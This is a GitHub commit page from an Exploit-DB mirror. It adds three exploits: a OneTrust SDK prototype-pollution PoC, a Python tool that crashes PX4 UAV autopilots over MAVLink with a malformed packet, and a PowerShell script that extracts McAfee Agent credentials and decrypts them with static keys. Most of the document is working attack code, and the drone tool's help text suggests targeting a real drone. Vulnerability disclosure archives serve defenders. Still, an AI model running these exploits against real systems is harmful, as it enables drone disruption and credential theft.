Skip to content

Commit 0a19f55

Browse files
author
certcc-ghbot
committed
Merge remote-tracking branch 'upstream/main'
2 parents 266723f + 97a1ee1 commit 0a19f55

9 files changed

Lines changed: 829 additions & 0 deletions

File tree

exploits/linux/remote/52340.txt

Lines changed: 84 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,84 @@
1+
- **Exploit Title**: OneTrust SDK 6.33.0 - Denial Of Service (DoS)
2+
- **Date**: 01/01/2025
3+
- **Exploit Author**: Alameen Karim Merali
4+
- **Vendor Homepage**: [OneTrust JavaScript API](https://developer.onetrust.com/onetrust/docs/javascript-api)
5+
- **Software Link**: [otBannerSdk.js v6.33.0](https://discord.com/assets/oneTrust/v4/scripttemplates/6.33.0/otBannerSdk.js)
6+
- **Version**: 6.33.0
7+
- **Tested on**: Kali Linux
8+
- **CVE ID**: CVE-2024-57708
9+
10+
## Vulnerability Summary
11+
12+
A vulnerability exists in **OneTrust SDK v6.33.0** that allows an attacker to perform **Prototype Pollution** via the misuse of `Object.setPrototypeOf` and `Object.assign`. An attacker can inject malicious properties into the prototype chain, potentially causing **Denial of Service (DoS)** or altering the behavior of inherited objects throughout the application.
13+
14+
## Technical Details
15+
16+
The affected code includes prototype assignment logic such as:
17+
18+
```javascript
19+
var o = function(e, t) {
20+
return (o = Object.setPrototypeOf || { __proto__: [] } instanceof ...);
21+
};
22+
```
23+
24+
If the `t` argument (a user-supplied object) contains a `__proto__` or `constructor.prototype` reference, it can pollute `Object.prototype` globally.
25+
26+
## Proof-of-Concept (PoC)
27+
28+
```javascript
29+
function testPrototypePollution() {
30+
const maliciousPayload = {
31+
"__proto__": {
32+
polluted: "yes"
33+
}
34+
};
35+
36+
// Using vulnerable function 'o'
37+
try {
38+
o({}, maliciousPayload);
39+
console.log("After o:", {}.polluted); // "yes"
40+
} catch (e) {
41+
console.error("Error testing o:", e);
42+
}
43+
44+
// Using Object.assign
45+
try {
46+
Object.assign({}, maliciousPayload);
47+
console.log("After Object.assign:", {}.polluted); // "yes"
48+
} catch (e) {
49+
console.error("Error testing Object.assign:", e);
50+
}
51+
52+
// Cleanup
53+
delete Object.prototype.polluted;
54+
}
55+
testPrototypePollution();
56+
```
57+
58+
## Browser Console PoC (DevTools)
59+
60+
```javascript
61+
var maliciousObj = { __proto__: { hacked: true } };
62+
var newObj = Object.create(maliciousObj);
63+
console.log(newObj.hacked); // true
64+
```
65+
66+
Screenshot: [PoC Screenshot](https://ibb.co/B2hyYr5v)
67+
68+
## Steps to Reproduce
69+
70+
1. Save the PoC script above as `exploit.js`
71+
2. Run using Node.js: `node exploit.js`
72+
3. Observe polluted output (`{}.polluted === "yes"`)
73+
4. Alternatively, run the payload in browser DevTools
74+
75+
## Impact
76+
77+
- Global object pollution
78+
- Application logic errors
79+
- Potential DoS
80+
- Further exploitation depending on context
81+
82+
## Recommendation
83+
84+
Developers should upgrade to a patched version and sanitize any user input used in object merging or prototype manipulation.

exploits/multiple/remote/52339.py

Lines changed: 97 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,97 @@
1+
# Exploit Title: PX4 Military UAV Autopilot 1.12.3 - Denial of Service (DoS)
2+
# Author: Mohammed Idrees Banyamer (@banyamer_security)
3+
# GitHub: https://github.com/mbanyamer
4+
# Date: 2025-06-21
5+
# Tested on: Ubuntu 20.04 LTS + PX4 SITL (jMAVSim)
6+
# CVE: CVE-2025-5640
7+
# Type: Denial of Service (DoS) via Buffer Overflow
8+
# Platform: Cross-platform (Military UAVs / PX4 SITL / Linux-based autopilot ground station)
9+
# Author Country: Jordan
10+
# Description:
11+
# A stack-based buffer overflow vulnerability in PX4 Military UAV Autopilot <=1.12.3 is triggered
12+
# when handling a malformed MAVLink message of type TRAJECTORY_REPRESENTATION_WAYPOINTS.
13+
# An attacker with access to the MAVLink communication channel can send a crafted packet
14+
# to crash the autopilot, potentially disrupting military UAV operations. This exploit demonstrates
15+
# a proof-of-concept that causes the PX4 autopilot to crash via UDP.
16+
17+
18+
import argparse
19+
import binascii
20+
from pymavlink import mavutil
21+
import sys
22+
23+
# Exploit payload (malformed MAVLink hex)
24+
hex_payload = (
25+
"fdef0000dcea6f4c01006de9d06a0548182a1fcc8b7cc542eb8945a54baa92ee908db9af0195bb5dce5f9ab613be912485d34e577c352"
26+
"c5cdc06592484be1aecd64a07127bda31fc8f41f300a9e4a0eab80d8835f106924f0b89ece3e256dda30e3001f07df4e1633e6f827b78"
27+
"12731dbc3daf1e81fc06cea4d9c8c1525fb955d3eddd7454b54bb740bcd87b00063bd9111d4fb4149658d4ccd92974c97c7158189a8d6"
28+
)
29+
30+
def connect_to_px4(ip, port, timeout, verbose=False):
31+
try:
32+
if verbose:
33+
print(f"[*] Connecting to PX4 at udp:{ip}:{port} ...")
34+
master = mavutil.mavlink_connection(f"udp:{ip}:{port}")
35+
master.wait_heartbeat(timeout=timeout)
36+
if verbose:
37+
print("[+] PX4 heartbeat received. Connection OK.")
38+
return master
39+
except Exception as e:
40+
print(f"[!] Error connecting to PX4: {e}")
41+
sys.exit(1)
42+
43+
def send_dos_packet(master, verbose=False):
44+
try:
45+
payload = binascii.unhexlify(hex_payload)
46+
master.write(payload)
47+
print("[+] Exploit packet sent. Monitor PX4 for crash.")
48+
except Exception as e:
49+
print(f"[!] Failed to send payload: {e}")
50+
sys.exit(1)
51+
52+
def main():
53+
usage = """
54+
PX4 Exploit Tool - CVE-2025-5640
55+
=================================
56+
Exploit a buffer overflow vulnerability in PX4 autopilot via MAVLink.
57+
58+
USAGE:
59+
python3 px4_exploit_tool.py [OPTIONS]
60+
61+
EXAMPLES:
62+
# Run DoS attack on default PX4 SITL
63+
python3 px4_exploit_tool.py --mode dos
64+
65+
# Test connectivity to a real drone
66+
python3 px4_exploit_tool.py --mode check --ip 192.168.10.10 --port 14550
67+
68+
OPTIONS:
69+
--ip Target IP address (default: 127.0.0.1)
70+
--port Target UDP port (default: 14540)
71+
--mode Mode of operation: dos (default), check
72+
--timeout Timeout in seconds for heartbeat (default: 5)
73+
--verbose Enable verbose output
74+
"""
75+
parser = argparse.ArgumentParser(
76+
description="PX4 MAVLink DoS Exploit Tool (CVE-2025-5640) by @banyamer_security",
77+
epilog=usage,
78+
formatter_class=argparse.RawDescriptionHelpFormatter
79+
)
80+
parser.add_argument("--ip", default="127.0.0.1", help="Target IP address (default: 127.0.0.1)")
81+
parser.add_argument("--port", type=int, default=14540, help="Target UDP port (default: 14540)")
82+
parser.add_argument("--timeout", type=int, default=5, help="Timeout in seconds for heartbeat (default: 5)")
83+
parser.add_argument("--mode", choices=["dos", "check"], default="dos", help="Mode: dos (default) or check connection")
84+
parser.add_argument("--verbose", action="store_true", help="Enable verbose output")
85+
86+
args = parser.parse_args()
87+
88+
master = connect_to_px4(args.ip, args.port, args.timeout, args.verbose)
89+
90+
if args.mode == "check":
91+
print("[*] PX4 is alive. Connection test passed.")
92+
elif args.mode == "dos":
93+
send_dos_packet(master, args.verbose)
94+
95+
96+
if __name__ == "__main__":
97+
main()

exploits/multiple/remote/52345.txt

Lines changed: 182 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,182 @@
1+
Exploit Title: McAfee Agent 5.7.6 - Insecure Storage of Sensitive Information
2+
Date: 24 June 2025
3+
Exploit Author: Keenan Scott
4+
Vendor Homepage: hxxps[://]www[.]mcafee[.]com/
5+
Software Download: N/A (Unable to find)
6+
Version: < 5.7.6
7+
Tested on: Windows 11
8+
CVE: CVE-2022-1257
9+
10+
<#
11+
.SYNOPSIS
12+
Dump and decrypt encrypted Windows credentials from Trellix Agent Database ("C:\ProgramData\McAfee\Agent\DB\ma.db") - PoC for CVE-2022-1257. Made by scottk817
13+
14+
.DESCRIPTION
15+
This script demonstrates exploitation of CVE-2022-1257, a vulnerability in McAfee's Trellix Agent Database where attackers can retrieve and decrypt credentials from the `ma.db` database file.
16+
17+
.LINK
18+
https://nvd.nist.gov/vuln/detail/cve-2022-1257
19+
https://github.com/funoverip/mcafee-sitelist-pwd-decryption/blob/master/mcafee_sitelist_pwd_decrypt.py
20+
https://mrd0x.com/abusing-mcafee-vulnerabilities-misconfigurations/
21+
https://tryhackme.com/room/breachingad
22+
23+
.OUTPUTS
24+
CSV in stdOut:
25+
Username,Password
26+
#>
27+
28+
29+
30+
# Arguments
31+
[CmdletBinding()]
32+
param (
33+
[string]$DbSource = 'C:\ProgramData\McAfee\Agent\DB\ma.db',
34+
[string]$TempFolder = $env:TEMP
35+
)
36+
37+
38+
39+
### Initialize use of WinSQLite3 ###
40+
$cls = "WinSQLite_{0}" -f ([guid]::NewGuid().ToString('N'))
41+
42+
$code = @"
43+
using System;
44+
using System.Runtime.InteropServices;
45+
46+
public static class $cls
47+
{
48+
public const int SQLITE_OK = 0;
49+
public const int SQLITE_ROW = 100;
50+
51+
[DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)]
52+
public static extern int sqlite3_open_v2(
53+
[MarshalAs(UnmanagedType.LPStr)] string filename,
54+
out IntPtr db,
55+
int flags,
56+
IntPtr vfs
57+
);
58+
59+
[DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)]
60+
public static extern int sqlite3_close(IntPtr db);
61+
62+
[DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)]
63+
public static extern int sqlite3_prepare_v2(
64+
IntPtr db, string sql, int nByte,
65+
out IntPtr stmt, IntPtr pzTail
66+
);
67+
68+
[DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)]
69+
public static extern int sqlite3_step(IntPtr stmt);
70+
71+
[DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)]
72+
public static extern IntPtr sqlite3_column_text(IntPtr stmt, int col);
73+
74+
[DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)]
75+
public static extern int sqlite3_finalize(IntPtr stmt);
76+
}
77+
"@
78+
79+
# SQL statement to retrieve usersnames and encrypted passwords from ma.db
80+
$sql = @"
81+
SELECT AUTH_USER, AUTH_PASSWD
82+
FROM AGENT_REPOSITORIES
83+
WHERE AUTH_PASSWD IS NOT NULL;
84+
"@
85+
86+
Add-Type -TypeDefinition $code -PassThru | Out-Null
87+
$type = [type]$cls
88+
89+
90+
91+
### Decode and Decrypt ###
92+
# Function to decode, and decrypt the credentials found in the DB using the static keys used for every Trellix agent.
93+
function Invoke-McAfeeDecrypt {
94+
param([string]$B64)
95+
96+
[byte[]]$mask = 0x12,0x15,0x0F,0x10,0x11,0x1C,0x1A,0x06,
97+
0x0A,0x1F,0x1B,0x18,0x17,0x16,0x05,0x19
98+
[byte[]]$buf = [Convert]::FromBase64String($B64.Trim())
99+
for ($i = 0; $i -lt $buf.Length; $i++) {
100+
$buf[$i] = $buf[$i] -bxor $mask[$i % $mask.Length]
101+
}
102+
103+
$sha = [System.Security.Cryptography.SHA1]::Create()
104+
[byte[]]$key = $sha.ComputeHash([Text.Encoding]::ASCII.GetBytes("<!@#$%^>")) + (0..3 | ForEach-Object { 0 })
105+
106+
$tdes = [System.Security.Cryptography.TripleDES]::Create()
107+
$tdes.Mode = 'ECB'
108+
$tdes.Padding = 'None'
109+
$tdes.Key = $key
110+
[byte[]]$plain = $tdes.CreateDecryptor().TransformFinalBlock($buf, 0, $buf.Length)
111+
112+
$i = 0
113+
while ($i -lt $plain.Length -and $plain[$i] -ge 0x20 -and $plain[$i] -le 0x7E) {
114+
$i++
115+
}
116+
if ($i -eq 0) { return '' }
117+
[Text.Encoding]::UTF8.GetString($plain, 0, $i)
118+
}
119+
120+
121+
### Copy ma.db ###
122+
# Copy ma.db over to temp directory add GUID incase it already exists there.
123+
$tmp = Join-Path $TempFolder ("ma_{0}.db" -f ([guid]::NewGuid()))
124+
Copy-Item -LiteralPath $DbSource -Destination $tmp -Force
125+
126+
### Pull records ###
127+
$dbPtr = [IntPtr]::Zero
128+
$stmtPtr = [IntPtr]::Zero
129+
$flags = 1
130+
$rc = $type::sqlite3_open_v2($tmp, [ref]$dbPtr, $flags, [IntPtr]::Zero)
131+
132+
if ($rc -ne $type::SQLITE_OK) {
133+
$msg = [Runtime.InteropServices.Marshal]::PtrToStringAnsi(
134+
$type::sqlite3_errmsg($dbPtr))
135+
Throw "sqlite3_open_v2 failed (code $rc) : $msg"
136+
}
137+
138+
$rc = $type::sqlite3_prepare_v2($dbPtr, $sql, -1, [ref]$stmtPtr, [IntPtr]::Zero)
139+
140+
if ($rc -ne $type::SQLITE_OK) {
141+
$msg = [Runtime.InteropServices.Marshal]::PtrToStringAnsi(
142+
$type::sqlite3_errmsg($dbPtr))
143+
$type::sqlite3_close($dbPtr) | Out-Null
144+
Throw "sqlite3_prepare_v2 failed (code $rc) : $msg"
145+
}
146+
147+
$buffer = [System.Collections.Generic.List[string]]::new()
148+
while ($type::sqlite3_step($stmtPtr) -eq $type::SQLITE_ROW) {
149+
$uPtr = $type::sqlite3_column_text($stmtPtr, 0)
150+
$pPtr = $type::sqlite3_column_text($stmtPtr, 1)
151+
152+
$user = [Runtime.InteropServices.Marshal]::PtrToStringAnsi($uPtr)
153+
$pass = [Runtime.InteropServices.Marshal]::PtrToStringAnsi($pPtr)
154+
155+
if ($user -and $pass) {
156+
$buffer.Add("$user,$pass")
157+
}
158+
}
159+
160+
### Cleanup ###
161+
# Finish and close SQL
162+
$type::sqlite3_finalize($stmtPtr) | Out-Null
163+
$type::sqlite3_close($dbPtr) | Out-Null
164+
165+
# Delete the ma.db file copied to the temp file
166+
Remove-Item $tmp -Force -ErrorAction SilentlyContinue
167+
168+
### Process encrypted credentials ###
169+
# For each row of credentials decrypt them and print plaintext to standard out.
170+
foreach ($line in $buffer) {
171+
$rec = $line -split ',', 2
172+
if ($rec.Length -eq 2) {
173+
$username = $rec[0]
174+
try {
175+
$password = Invoke-McAfeeDecrypt $rec[1]
176+
} catch {
177+
$password = "[DECRYPT-ERROR] $_"
178+
}
179+
"Username,Password"
180+
"$username,$password"
181+
}
182+
}

0 commit comments

Comments
 (0)